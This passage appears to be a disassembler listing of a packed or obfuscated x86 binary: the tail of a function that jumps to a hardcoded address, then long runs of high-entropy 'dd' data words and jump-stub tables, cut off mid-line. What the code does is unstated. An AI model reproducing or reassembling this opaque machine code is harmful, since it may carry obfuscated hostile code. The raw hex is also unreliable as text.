CODE XREF: sub_5EA1BD+18j popa pop edx mov eax, 7E41A8ADh jmp eax sub_5EA1BD endp ; --------------------------------------------------------------------------- dd 2F29858Bh, 8D8D0615h, 61C08E6h, 8B014189h, 0C585C6C3h dd 56061509h, 0C530DF68h, 11B5FFA9h, 8D061528h, 1872BC85h dd 8DD0FF06h, 1528398Dh, 406A5106h, 33B9B5FFh, 0B5FF0615h dd 615119Dh, 0B5FFD0FFh, 61533B9h, 119DB5FFh, 0DE80615h dd 24000000h, 0DB41C830h, 0A7C8E699h, 32943FFAh, 0E8835858h dd 242CC104h, 2424C102h, 24040302h, 2B241CF7h, 634FFF6h dd 0BDEF815Fh, 81161E00h, 20F5FC7h, 0E5EF8141h, 5746F513h dd 8330048Fh, 343B04EEh, 0DA850F24h, 8DFFFFFFh, 150FFD9Dh dd 0B038B06h, 7840FC0h, 8B000000h, 45B8B03h, 0C98B1889h dd 0A4D8D8Dh, 6A061Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 3DB767C3h, 8D640B96h, 89D98B54h dd 1527218Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 372C1A7Ch, 0C71B1F9Bh, 1504CD85h dd 6A3C06h, 3D9D2300h, 0C7061502h, 15111585h, 6, 0A1B58900h dd 0FF06150Bh, 1502B5B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 4B84D490h dd 9797C5ABh, 95FF9679h, 61502C9h, 0FF006AF5h, 152E2195h dd 0EBC08B06h, 0E31D862Fh, 52A5D089h, 0DBB575F6h, 1FB96EDh dd 0BB82CDE3h, 0B5F692B4h, 2459909Eh, 4C4B8793h, 9856C18Ah dd 0AF595D85h, 0B84CC1E0h, 0DD204B7h, 0E5E9h, 98306700h dd 459CD717h, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh dd 43F1B6D0h, 0F0A8CDh, 0 dd 129D7447h, 5E99E0E3h, 0Bh dup(0) dd 6DE90000h, 68000015h, 61C0D77h, 0F972D9E9h, 0E8268FFh dd 0CFE9061Ch, 68FFF972h, 61C0F5Eh, 0F972C5E9h, 109868FFh dd 0BBE9061Ch, 68FFF972h, 61C1110h, 0F972B1E9h, 11CB68FFh dd 0A7E9061Ch, 68FFF972h, 61C1277h, 0F9729DE9h, 133D68FFh dd 93E9061Ch, 68FFF972h, 61C13F0h, 0F97289E9h, 153968FFh dd 7FE9061Ch, 68FFF972h, 61C1652h, 0F97275E9h, 17AF68FFh dd 6BE9061Ch, 68FFF972h, 61C1890h, 0F97261E9h, 19F868FFh dd 57E9061Ch, 68FFF972h, 61C1B2Dh, 0F9724DE9h, 1D1068FFh dd 43E9061Ch, 68FFF972h, 61C1E01h, 0F97239E9h, 50C03EFFh dd 9B0B6EC5h, 58C825FAh, 920266BDh, 5ECE2C03h, 0F8ABE0B7h dd 0B46B0A7Ah, 0FD32C333h, 0B9660F7Fh, 982BCA3Ah, 0FECA0FB6h dd 30B1169Ah, 66C7240Ch, 86F2BADFh, 0C47F4110h, 1086F29Dh dd 4F604F60h, 0BD25666Fh, 8C8E11C4h, 696E30DEh, 0B98CBE26h dd 10867990h, 0FD6D4A5Bh, 0F122C869h, 63532292h, 815B6393h dd 4F16AE54h, 47233D9Ch, 9BF2245Ch, 9E98A916h, 93E3F617h dd 0A5187F16h, 0BD2F19A4h, 519F9Dh, 949D0000h, 4EC6A414h dd 3DB0BABh, 9BF5F040h, 0A5062B16h, 5F615535h, 93F1BDE4h dd 406F4016h, 45B5357Eh, 0B0A567A5h, 7F50D1EDh, 0C9F4961Fh dd 16935884h, 0DB17C671h, 0CF74DEFAh, 0A1BD0A26h, 93E1FF22h dd 0BDAD7E16h, 0BD2D6BCEh, 0C4F19Dh, 24C50000h, 525F57C7h dd 980864F0h, 11727FB7h, 0FF7C75A1h, 8EA11173h, 0E94E63E7h dd 0AA403D79h, 86F7FCFBh, 80431910h, 1086F759h, 0BA771324h dd 0E050AD39h, 332426CFh, 7A21B3BAh, 2011F95Ch, 5E8342A3h dd 1D10869Bh, 85F3230Ch, 6BD81B1h, 169C6C42h, 0CF7B1A2Bh dd 0FCEE5EE2h, 0ACB2E296h, 8BE11619h, 3A041510h, 6C0979F9h dd 40A733B7h, 12370ED0h, 0D91CABDAh, 0C716E7C8h, 94B1C328h dd 12BB22A2h, 1B9B0000h, 0D455CAABh, 23A29164h, 0EB4DE2B3h dd 25859A7Bh, 0C0CBE0B5h, 18FD6DCDh, 6134A40Bh, 730272D2h dd 26CF3FBCh, 0CF12B19Dh, 0AE169AFFh, 0C6244FEDh, 969BBF56h dd 9A73A313h, 50C043F0h, 0BAB77C5h, 0F04003DBh, 2B169BF5h dd 5733A306h, 0E5605667h, 1693F1B8h, 66E3CA45h, 9DBD1D03h dd 0F589h, 1072BF00h, 9CB32384h, 624F46EEh, 8C7D6DDDh dd 0D2F7CE2Fh, 301086F2h, 71A43A39h, 6334EC74h, 0D9594A4Ch dd 765F2D69h, 9CB3D312h, 6C573315h, 1086580Fh, 2C32A221h dd 414E9332h, 1C2D1086h, 0F63B1F6Eh, 3D120474h, 680272F6h dd 5CE748ABh, 10864135h, 0CEC8E7B8h, 526C9C5Ch, 4172E261h dd 77484EBEh, 5E02C193h, 1F169CB6h, 0D2292F2h, 4DF8E668h dd 16933504h, 0B868D85Ah, 0DD4DACE7h, 83B3832Dh, 5E4808BBh dd 2D3108Bh, 299C571Dh, 0E2D6B426h, 46A40DD1h, 92F03FD6h dd 82065B22h, 5B59B1C2h, 11B0D7h, 0D848A600h, 1383E63Dh dd 0E050AD82h, 2A9A1E15h, 0E656D44Bh, 0A013980Fh, 4CE3B222h dd 859A7BEBh, 51DEB727h, 0E0F382F2h, 0FC0247FEh, 28E9169Ah dd 56C62414h, 0A31370BFh, 0B642BA9Bh, 8CFD26EBh, 86F890B9h dd 654A5B10h, 0AE5CCC2Eh, 0C72459DFh, 0F1525F57h, 0B8970765h dd 3935B1A6h, 0C5322098h, 0DA044625h, 8609266Bh, 57D8C510h dd 0F1DEAFE7h, 93356EDh, 0E9BA1086h, 45B51001h, 73E36051h dd 0B9381BA2h, 3A09D505h, 169B00D6h, 9FB88697h, 3CF01871h dd 1A9A999Eh, 7BEC0AAh, 0E0784C7h, 0AEB0E0A0h, 8DFD83B0h dd 0FA7FB489h, 21C5E08Ah, 0B4EB3CCBh, 7145B3E3h, 7D52C225h dd 9E67E261h, 25F6152Ah, 0F9B1819h, 2FB3BABh, 58DB482Dh dd 0E43615E8h, 87ADB421h, 10D42Bh, 94048200h, 5FCF3201h dd 9C0C69B6h, 56C62AF9h, 0A21270BFh, 0DCD7D4D3h, 1807EE5Eh dd 0E14E2797h, 0D22F363h, 6C573EAEh, 0FDBEE362h, 0BC3D169Ah dd 66C72480h, 86F2BADFh, 5F704110h, 0FD2DD157h, 0A2E62E1h dd 9EAF169Ch, 0DF0FAFF7h, 37AC44FFh, 60311089h, 0CF766836h dd 1CACB78Ah, 0DBCAA071h, 1CACB7B2h, 60E9D43Bh, 0A3D25EDDh dd 4063h, 0BAB3700h, 0FF4003DBh, 7E169C41h, 24A091ADh dd 11B4AAB4h, 1693BDC8h, 0F666C6B3h, 5F6231D9h, 1693A238h dd 9461D132h, 30911D9Fh, 0D6F9D6C0h, 102F64E0h, 845A0000h dd 93A298C1h, 0B8526316h, 0BF0BAB84h, 0DBE3CC3Ch, 5E555D6h dd 942F2D2Fh, 1086F24Dh, 96141F30h, 61594426h, 0EC16A2FDh dd 49AE03DBh, 0E5CA3ABDh, 0D040C0B1h, 24C6E9E6h, 32A22112h dd 0FF6FCC63h, 5D8D31B7h, 609A5481h, 0CBE45C3Bh, 0DBFC07E5h dd 0A9417BA2h, 0BF633093h, 91A10BEh, 0F7FFC35h, 73962D2Fh dd 0FA1CBEBCh, 28324129h, 243AAA0Bh, 0BEBC78A1h, 5832031Ch dd 0AEE858DBh, 724C7C3Ch, 0A44D8BD3h, 0C4596A1Ah, 0ABA2F2DFh dd 9A86EE08h, 0BC00000Fh, 0EC43D242h, 0AB781D8Dh, 0E43BDA4Ah dd 0B2811484h, 9615E050h, 0A8189A15h, 61D156CDh, 0AD1D9F94h dd 68D85BC8h, 0B1143A8Dh, 169AE268h, 0B6EA5213h, 1086F297h dd 0BE80B050h, 0A2FC3007h, 58663716h, 8D68D85Bh, 71A51596h dd 0CF12B1ABh, 45169AF9h, 74BC5A79h, 3E0FB1A6h, 6292664Ch dd 0D431825Ch, 0AD5D3264h, 8039DA0Eh, 0B92A310h, 0B1BF0714h dd 2245ADC7h, 3400000Fh, 74AB4ABAh, 43F085F5h, 6CC352C2h dd 2AF99C0Ch, 0DEBD58C8h, 2090F2ADh, 0E959DE55h, 2595170Ch dd 0F060E350h, 19ACB225h, 169AE3F0h, 2442FA7Bh, 525F57C7h dd 0A69581F1h, 8BFB7FB4h, 0E1D8B28Bh, 1DCE5BEEh, 105697A8h dd 54000009h, 7E6CDC5Fh, 0DB0BAB96h, 38FCD903h, 999E6D21h dd 0D4564525h, 5516A2DFh, 7A647A44h, 9ADF86CBh, 0B6546516h dd 0EF86F675h, 8B53C340h, 6452C226h, 4D9F4C6Bh, 0D7A14E2Eh dd 537AF933h, 0C169AECh, 0E192446Ch, 3E1989EFh, 775864C1h dd 3D886E67h, 30F5D919h, 5A3363D3h, 4BF9575h, 108019CCh dd 0FCFD8091h, 0E3B1BF26h, 0E6771D1h, 8FEF0000h, 48A9761Fh dd 87E63DD8h, 4FB17E17h, 89E936DFh, 6C1F7C19h, 9461D131h dd 0CDA8189Fh, 8F66D656h, 0E2B323A0h, 3356EDF1h, 0BA169AE3h dd 864F0339h, 67FEE3Eh, 3CED9D38h, 5A474FBFh, 84CD78D9h dd 0DA1086B7h, 0D3ACEA5Ah, 43735C6Dh, 5B5BCB2Eh, 4076E646h dd 469D1089h, 5AEFDE57h, 97A862CFh, 83A55h, 97B63100h dd 501086F2h, 7BE80B0h, 16A2FDE5h, 86ABB384h, 88A9B525h dd 0D0F9CC2Dh, 9B169AF9h, 0A6C5A58Ah, 6492FA79h, 0B036054Bh dd 0E654426Dh, 69DCE212h, 10800731h, 0F12EBBCh, 0D4B1BF2Ch dd 0DBB62E2h, 1B9B0000h, 0D455CAABh, 23A29164h, 0EB4DE2B3h dd 25859A7Bh, 0C0CBE0B5h, 18FD6DCDh, 6134A40Bh, 730272D2h dd 26CF3FBCh, 0CF12B19Dh, 0AE169AE0h, 0C7244FEDh, 587D5F57h dd 0B9B75436h, 0B97A10B5h, 0E1CCCA3Ah, 59E46558h, 0DF97A827h dd 7A7h, 66DDFFDDh, 1086F323h, 54CF9CAh, 0E81086F3h, 0F798E8DFh dd 0A8875330h, 0AEEA2F96h, 80911086h, 0BAB32EAh, 94003DBh dd 7216A2FDh, 96831765h, 0DD8D22F4h, 8D6E8B9h, 0D92A6FD6h dd 0E944169Ah, 14F6C779h, 51249417h, 0C5F161E2h, 0EA5ADAD7h dd 8C37D3ACh, 169AD941h, 142A5A1Eh, 802179B1h, 0FDB5A210h dd 0C55E607Ah, 3203B357h, 0BE7F626Bh, 136F85B1h, 0CF5h dd 0A075E561h, 0D7BE2E93h, 987DED48h, 0E0B5258Bh, 967FEF53h dd 93178A01h, 5ADD5223h, 98140BEAh, 55D64D28h, 97C710E5h dd 9AE1E52Ch dd 35078816h, 5F57C724h, 0BD81F152h, 0BD2D929Fh, 86F2C108h dd 0EF9BAC10h, 10BF3645h, 0A81DB439h, 6DD3C97h, 4F500000h dd 4670E062h, 0DE02A149h, 3D1086F2h, 7C460D18h, 0B7888EFEh dd 936E12A0h, 0CDFDC1F7h, 0C63A52F1h, 0EABB16A2h, 0EC5CDFD4h dd 0D991A09h, 4E103FAFh, 0B46CB510h, 3E0F169Ah, 0A858E24Ch dd 0EA4D6678h, 74433C7Ah, 0DB3FB59Eh, 96A842EAh, 87ED7B2Fh dd 6C310210h, 0B1BF35C9h, 4220A492h, 1400000Ch, 0D44B2A9Ah dd 2310E555h, 0CC6332A2h, 0A19FC6Ch, 3E5D38A8h, 80F0524Dh dd 49B93EF5h, 85F577ACh, 50C043F0h, 794C12C5h, 169AE150h dd 24E25A1Bh, 4E8757C7h, 981D678Ch, 0AD670322h, 0CFC737B4h dd 0AA0D2638h, 78A1243Ah, 31086D9h, 6E615832h, 8B6ADA59h dd 0A8459316h, 1401997h, 24ED0000h, 525F57C7h, 960665F1h dd 2ACEDCB9h, 2961E4FAh, 0B4169BFBh, 0D50B3E3h, 631693FBh dd 3A276FDFh, 0B65145B5h, 0B713D0FFh, 0F17CCD00h, 779DBD26h dd 36h, 61864F93h, 2D9D1C38h, 3126900Ah, 6F9F5F59h, 1A44F44Fh dd 28F9169Bh, 14687EEh, 882F1693h, 4BF9D55h, 169301DDh dd 0B0DB8FA0h, 9DBE0D4Dh, 0C7D3h, 0C724E700h, 946BE5Fh dd 0B31B3CACh, 411D3203h, 2393161Bh, 867C5F82h, 0BF2F9110h dd 0DC5A3001h, 0C3F363C7h, 41C14DAEh, 0C7E8E5D1h, 0F161E2CFh dd 9062A124h, 9A971087h, 0B9298B17h, 0BBAFA096h, 987DED4Eh dd 203E6E12h, 9E2077A5h, 29350616h, 5B3AAA08h, 0D242C2EFh dd 0F969CFE4h, 0FBEFC0BDh, 7744AC0Eh, 0C13192BEh, 0F5ABDCF6h dd 1114E8E2h, 2E01C562h, 0D777AA4Fh, 43BFB5B7h, 0AF9h dd 0A471E15Dh, 0DBBA2A8Fh, 9C79E944h, 0E4B12187h, 9A7BEB4Fh dd 0AF138EFDh, 66C9563Fh, 0B4101FF6h, 182B144h, 0BD30491h dd 9AE71138h, 211BDC16h, 0BF56C624h, 0A616969Bh, 7CE447C4h dd 0C6A9C604h, 0D5565DCAh, 7DAB4A65h, 5F57C724h, 0F481F152h dd 4DED0h, 0BABEC00h, 3C4003DBh, 5F169BFCh, 0F883C67Dh dd 596A1693h, 0FA3C0DB1h, 93F8527Bh, 49741B16h, 0BB2B88A9h dd 3491827Bh, 0DFDD2C4h, 0BD241B9Eh, 0F276BB9Dh, 0C0309182h dd 24FFA2Ah, 0B60E0000h, 1086F29Ch, 6777A757h, 0D76E6775h dd 0B6CEF6AAh, 0C91B3EE7h, 0F9791086h, 0A9C5B4F6h, 0FBEFC060h dd 0A28946A0h, 0F8C6D716h, 70CDE6h, 77FA3916h, 4C3E0F07h dd 0D2EC5CDFh, 8D10390Ch, 0CADB169Ah, 24F981EDh, 0EA8044E5h dd 0E196BF8Bh, 1D5B80FAh, 83B05Ah, 6414A690h, 58598043h dd 3C2169Ah, 169A58DEh, 0E7148C9Dh, 143B1484h, 1989E94Ah dd 0A058EB71h, 2D10875Fh, 0A4D2811Ch, 0A391B1BEh, 9E01Fh dd 88F87600h, 43B336EDh, 90007DB2h, 5ACA2E05h, 960664BBh dd 0B0E3A8FFh, 1C13E252h, 0D54A2B9Bh, 210EE757h, 706332A2h dd 0E4B2D76Eh, 0B839169Ah, 57C72484h, 65F1525Fh, 0ACA19505h dd 0BDF49383h, 47FEE012h, 1086F202h, 132D8E9h, 124C1282h dd 86F26EB3h, 0F73C0D10h, 3A130373h, 0D704550h, 9397A81Ah dd 161h, 0E1624FA7h, 1B989971h, 0F5766BABh, 0F6CAF085h dd 154DF8C6h, 76169BFBh, 97A21461h, 0C8A2F50Bh, 74CFC7D8h dd 1693F829h, 0D5745BD6h, 9DBD2868h, 34F0h, 0BABCC00h dd 49AE03DBh, 0E959DAD9h, 243AD0ADh, 9BF591A1h, 9B9BAC16h dd 93F1F518h, 0A8178216h, 0BD1D1CA1h, 25A0BE9Dh, 1693FDFCh dd 60BCAE7Fh, 0D0h, 5FC7243Ch, 0D48E1A1Fh, 54426DBEh, 0CB7ADB5Fh dd 10863186h, 3B7B5465h, 6155C526h, 0BFE2617Bh, 3E108631h dd 0AC83F351h, 7EEE4DBEh, 82C77E60h, 69108631h, 77E3B258h dd 31BBDE65h, 71421086h, 0CBE92A66h, 0E288C979h, 87B194C3h dd 0E555D610h, 7F37FCD9h, 841D2D76h, 5F1F87E6h, 66B40F2Fh dd 17169F32h, 31263806h, 8EAD200Eh, 777F916h, 46113E0Fh dd 0BD66457h, 4BC8A202h, 919E77E7h, 873CC131h, 0E0B7D746h dd 8836ED6h, 73D30000h, 3CBD7203h, 7BFA29CCh, 33B56A0Bh dd 7DFD32C3h, 7833680Dh, 0A075E545h, 0D9BC2C93h, 9B7AEA4Ah dd 0DEB72784h, 375AE9F5h, 0B6169AE5h, 0C6240735h, 1370BF56h dd 4F88D2A3h, 5659824Ah, 759D4D6Dh, 6FDF624Fh, 77B45627h dd 0A19284F4h, 0A1119622h, 0DEB79875h, 262E2h, 56DBD800h dd 57EEB0E6h, 1086F232h, 23C7E8B9h, 0DB0BABEFh, 57D8D903h dd 2CDEAFE7h, 0A2FD1D91h, 474F6016h, 9AF9A1ECh, 0FCE34E16h dd 0C424E04Dh, 207689Dh, 4F440000h, 4A6DDD62h, 0DB5DAF4Ch dd 7D28C234h, 1086225Bh, 8AFA7BB8h, 22C811B4h, 0E2B31086h dd 0BEEE9208h, 2C9125A0h, 0F14216A2h, 1DF22494h, 6678496Dh dd 977EEE4Dh, 7BBB2B88h, 451949EDh, 8729CA7Eh, 0FB829310h dd 0B1BE7334h, 0A2A50D27h, 0B4000007h, 0F42BCA3Ah, 0C3700575h dd 0EC43D242h, 0AA791C8Ch, 5E3DD848h, 0A010722Dh, 69D95ED5h dd 0A515978Ch, 70E063D0h, 992C32A5h, 169AEA70h, 24C27AFBh dd 525F57C7h, 9C9581F1h, 9085B121h, 0F103DC5Ah, 283B003h dd 0F59CA492h, 497019CAh, 0D5575C96h, 3F77E749h, 8889614Eh dd 8EA3BB2Bh, 0C5D0BA2Ah, 0A8A68DF0h, 0A9042D97h, 72547D48h dd 6171086h, 8F080E29h, 2596BE99h, 137D545h, 24B10000h dd 525F57C7h, 6AF481F1h, 0F288D174h, 0A2731086h, 0FE2ED2C8h dd 0FB2D65E0h, 9FB0169Bh, 931896BFh, 0D5334EB9h, 4015F735h dd 0AD3835F5h, 3ABBF886h, 17F3CCCAh, 935561ACh, 3CA30E16h dd 8EFE7DB6h, 0C54CB1DCh, 27D49DBDh, 0E8000000h, 3DB0BABh dd 9BF5F040h, 0BAC48D16h, 7D3BFBF4h, 0F251456Ah, 169372ABh dd 57F2DD54h, 9DBD99D2h, 0AF5Ah, 624F2E00h, 9B9872E2h dd 756EA818h, 0A09185F5h, 0B1ABB323h, 86F2CF12h, 0C19DAE10h dd 86F2DF02h, 0DD8D9E10h, 51C1422Fh, 6CA201C4h, 0CF2C1087h dd 0E65D7F5Fh, 108689A3h, 291794Ah, 0AD404B4h, 9EE11D3Bh dd 6BDADC16h, 169ED126h, 3DBF4C5h, 2DC4CAEh, 0B2E454B1h dd 0FC5E2DDDh, 0D4C232B7h, 0C4EB5BDFh, 0F985E526h, 54290676h dd 0B7D82E83h, 3A5ADADCh, 1C000006h, 0CC6332A2h, 0B18FD6Dh dd 0C45B3AAAh, 1221F464h, 0F6B540B0h, 878FAB5h, 0C131B66Dh dd 0D7DFF34h, 0C838BB68h, 11B49A2Dh, 169AEBC8h, 240A32B3h dd 70BF56C6h, 66D2A313h, 0D05FC724h, 0A247CFC4h, 2C45715Eh dd 0FAB65FCFh, 27h, 57C7240Eh, 90F1525Fh, 86F2EC35h, 91BE8F10h dd 6CFB88CDh, 7D68E492h, 0A80F9F8Dh, 0C1319235h, 259034h dd 24AC0000h, 42275FC7h, 918A8C6h, 9EB9722Ah, 69467DDFh dd 7086C62Dh, 2FFA1086h, 74E44780h, 0F374BDA1h, 4F33E783h dd 4472E262h, 11729F4Bh, 330375A1h, 0CB1880E7h, 48356205h dd 0BA9383ACh, 0A7F821A4h, 0B2831086h, 8E02C19Dh, 6D16A2A8h dd 938DD46Fh, 5F70169Ah, 243A0BABh, 593CAC0Fh, 0BDF969CAh dd 6F638B2Bh, 45478E13h, 0C4EDF1DEh, 0CFC0F666h, 0EDAA191Bh dd 8C10BE7Ch, 2D8EA3BBh, 3D76D8BDh, 786650C0h, 0BE7884CDh dd 7956671Ch, 0C223A091h, 78E0299Ch, 0BA8B1CBEh, 0BE78C60Bh dd 0BB94A51Ch, 1949ED7Bh, 895E7E45h, 1D1F1AA4h, 0CB6963A6h dd 16390A02h, 0A2B6B487h, 3DC5AFABh, 505h, 0F085F551h dd 0A74EBE43h, 0E88DFD78h, 0B045B53Bh, 0E68FFF83h, 63C7FAB1h dd 0AA0D22F3h, 68C45B3Ah, 0A5061DF8h, 67776035h, 9AE9B5DCh dd 85B73816h, 0BE57C724h, 74A21271h, 8A8CFC7Fh dd 0B017C6EFh, 0E53F253h, 0ED1086F2h, 0E252D7DCh, 0F07D28CDh dd 7897A819h, 34h, 0DB0BAB94h, 41FF4003h, 917E169Ch, 0F8D5C131h dd 0BD3A5FE6h, 0F0C11693h, 52B2FFDFh, 0D8F767C6h, 0BD53783Dh dd 2E8D1693h, 0EC48D7BEh, 7ABA3A7Ch, 0CE000004h, 5F57C724h dd 0F481F152h, 0FCC2F2C6h, 0A8EB01DBh, 0FE352790h, 0D75D0D7Dh dd 9BB2346Ch, 6DCCB916h, 38CCB9FDh, 87D0CDF7h, 6CCFC4EBh dd 0F9E3D3FCh, 52B03CB8h, 0F4DBB4E2h, 4866A716h, 4D0F1693h dd 1D777008h, 4EF5637Fh, 1693CC0Bh, 290E21F2h, 115923F2h dd 0BBF69442h, 55D5DE14h, 238605E5h, 0A99DBD9Dh, 20h, 0DB0BAB7Dh dd 0F5F04003h, 0BC8D169Bh, 0F1D2FB7Ah, 0F49B1693h, 1CFD80C9h dd 10839DBDh, 97000001h, 8757C724h, 6155C52Ah, 0A3907E6Ch dd 0C131931Fh, 0DFD7F8D5h, 0D5A3D8FDh, 0DDC2E84Ah, 0D2C1EE5Eh dd 0C4B9FD6Dh, 1686E526h, 24B01320h, 6C6155C5h, 8AEF352h dd 7C4D1086h, 0F2518B53h, 108608AFh, 0FE8D7D4Eh, 860DB4C3h dd 0C535B610h, 10800330h, 2182E54Eh, 860D7FA2h, 22DFE10h dd 0DACC7B35h, 0EB9FFB06h, 0E607B741h, 86F63A5Fh, 0C3F0C110h dd 0F5CACC3Ch, 4BAF04DAh, 0B1E2DBDBh, 3309E151h, 9BF0AC90h dd 0FEC0D116h, 0C86A25D9h, 0E8828E63h, 29591D8Dh, 266AAE15h dd 213108Bh, 4F1B1B3Ch, 0DE733F92h, 0DA681A79h, 26C4EBA7h dd 86E54E10h, 3B2F2016h, 19FC6CCEh, 7C47A80Ah, 1CAB4155h dd 55280718h, 0B1C2A0F8h, 227D05EFh, 34000003h, 74AB4ABAh dd 43F085F5h, 6CC352C2h, 2AF99C0Ch, 0DEBD58C8h, 2090F2ADh dd 0E959DE55h, 2595170Ch, 0F060E350h, 19ACB225h, 169AEFF0h dd 2442FA7Bh, 70BF56C6h, 88D2A313h, 5D59C92Bh, 0AB928A60h dd 0D839BF0Bh, 86F2246Dh, 0D9F6C710h, 0ACEA5ADAh, 63E2FCD3h dd 169BF5D7h, 53895566h, 93F1A9F0h, 7B435416h, 93F181C8h dd 0AF5B6C16h, 0F1DFFE85h, 0F1A81693h, 1D1E8BBEh, 0BEA69DBDh dd 82000000h, 5F57C724h, 9680F052h, 86F7C02Fh, 1989EA10h dd 0D444A77Ch, 80A858E2h, 7B986215h, 0F9C5EA49h, 0CCCA3AB8h dd 3BCCE4F3h, 0A5290EF1h, 68D46FC5h, 0D169B00h, 0AD51593Ch dd 0F050617Dh, 9F970764h, 0B89581AEh, 8E88F87Bh, 0C083D9B1h dd 108B6E77h, 8293506h, 0EF5B3AAAh, 6D3356EDh, 0E9BA1CABh dd 42B21001h, 0C2B54CBBh, 1DA58FB1h, 231h, 0BC59C925h dd 3920267h, 9461D12Ch, 0CCA9199Fh, 9263D357h, 971B9615h dd 5EE14E27h, 9C1807EEh, 59DA492Ch, 93BB0CE9h, 9AECE930h dd 69D39416h, 0BF56C624h, 0DF02C19Bh, 111086F2h, 0CDDE42B2h dd 1F8FEC1Dh, 59DFD476h, 3AD0ADE9h, 0B68D4F02h, 1086F293h dd 70A1495Ah, 7E73A313h, 0A01071FDh, 0A8B69976h, 0D6B4248Bh dd 9B0B68B7h, 0E72A99C3h, 861086F2h, 7557D5B5h, 0BD363060h dd 0BCAE6377h, 0ECF222D6h, 75EA56EBh, 0BA50FA75h, 0CD0D21A4h dd 3F10169Ch, 3FAF121Fh, 0AA6406F7h, 54735ACBh, 288E67D7h dd 3CAC0C58h, 94784B13h, 771089E8h, 0A347B73Ah, 2AF422F3h dd 5489134h, 62331CACh, 0B8288B88h, 0C40DB8A6h, 0A71CAC05h dd 0AD1D9D96h, 58DF4FBDh, 0E515E965h, 0FFE26AD9h, 96831AB6h dd 9A73A313h, 0F053E0B5h, 25A0BE80h, 2C6FFFCh, 0BD2D927Fh dd 253EF892h, 645F57C7h, 3EBD0AB5h, 0BF7F27CEh, 76A01073h dd 0FFF41DA8h, 0A67702C6h, 0BF98A689h, 7D13C994h, 2D4314EAh dd 39AF8CB4h, 43025436h, 4DCCFEBh, 4DBD3D6Ah, 5B5B7449h dd 52C24071h, 7BEB4F64h, 7D6D423Bh, 9FBF2F8Ch, 27C33392h dd 979F4EDh, 2898140Dh, 7B624BEEh, 0E1CC3D68h, 30A02011h dd 70A0605Ah, 0D747D76Eh, 0F5C60EC9h, 0BAE2F3E9h, 0F2874348h dd 962A71Eh, 38090EECh, 0C3734352h, 39F1B29Bh, 143BD1E8h dd 9D1F144Ah, 7614E92Dh, 0C8128C47h, 845A6B08h, 0FD1EDE53h dd 0A2DBF76h, 42BEC32Fh, 52FDB8Bh, 3F1F8FECh, 5718B616h dd 8E2E4CBh, 0D435B66Dh, 22871h, 0EDC2D334h, 0F3B24AA9h dd 0BC23068Dh, 72D0E111h, 48AB6802h, 0C7CF3FBCh, 0F31B3E05h dd 0D1E2268Dh, 0A40DD1FEh, 0ECE1D545h, 0F32E73D2h, 0FCCD268Dh dd 53B07F0Eh, 52D6DBE3h, 0C3F363C6h, 705E5CAh, 1826961Ah dd 29A6FA3Fh, 7218FB8Dh, 6558C1C4h, 0A471E162h, 0A2BC2C8Fh dd 0C30360B5h, 116CC429h, 0B79875A1h, 12D959D3h, 0AD000000h dd 0D46F6D2Fh, 1086F28Dh, 0D6545F70h, 0AB5F3066h, 5ACA2487h dd 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h dd 66D65A47h, 52C24330h, 7AEA4F64h, 0E468783Ch, 8900000Dh dd 89512414h, 4C181E1h, 81000000h, 4E9h, 240C8700h, 2414895Ch dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 68512434h dd 788C6971h, 81240C8Bh, 4C4h, 57E98100h, 8972705Dh, 8B5459CAh dd 0C4812434h, 4, 88068h, 24048900h, 8B8h, 89F00100h, 34FF5810h dd 0C4815E24h, 4, 5A2434FFh, 4C481h, 7BE90000h, 2FFFF95Dh dd 0E4DAA6F0h, 1C2057B8h, 0FFC50306h, 0D2A305E0h, 0FEC1E94Fh dd 0D02B7F66h, 0FBB4E216h, 3FFF6022h, 0CF326B01h, 3F49D35Fh dd 2A06D458h, 4D6C5915h, 0CA349019h, 96638A45h, 38BA2D50h dd 77E54503h, 96DF3773h, 0E5443A07h, 4F3E9902h, 0E036778h dd 1EE3ED6Fh, 0B28A6A00h, 3403346Bh, 0DE804h, 0AB7F0000h dd 3102A939h, 87B83CF7h, 817CEF16h, 346E6DF1h, 880F5B28h dd 8, 2880Fh, 9BB50000h, 65A6C381h, 0F600000h, 830FD6B7h dd 10h, 0BE9h, 2EF45E00h, 28379394h, 0BCA79A00h, 6861h dd 0E9580000h, 5, 41F32BE7h, 3348BCCh, 3D25BA66h, 0DB98C681h dd 81661089h, 81BFA4D2h, 0C86C6DC6h, 0C7BA6655h, 34EE8185h dd 6646D954h, 564C46BFh, 3048FF9h, 0E945EE80h, 12h, 984A8AC7h dd 58691649h, 0E0978807h, 130D5459h, 0E8833388h, 0EE801h dd 0B69A0000h, 72CB3606h, 0CDB45C3Fh, 4CEEF6BDh, 11E9h dd 2CEF900h, 42D42630h, 61BFED5h, 10254001h, 485FECB7h dd 9ABF4848h, 810CF428h, 0FF9B34F8h, 7A850FFFh, 0B9FFFFFFh dd 564E947Fh, 6E8h, 0B0A18800h, 6010E6B1h, 0AE8h, 94751F00h dd 343E0AB0h, 583E2B84h, 3185BA66h, 0BF0F5F61h, 79C781F2h dd 0E8000069h, 0Bh, 155702DFh, 10054447h, 569B21D7h, 5EFAED80h dd 1A2EBB5Ah, 0B9660000h, 78B4388h, 0C081C4B6h, 3C0B668Ah dd 2830Fh, 5FB50000h, 0E374E881h, 0C2810A62h, 0CA5A8B6h dd 7E6BE881h, 7E90543h, 4D000000h, 0E10BB9DAh, 6650E33Ah dd 78FCF8Bh, 10E8h, 0F452C300h, 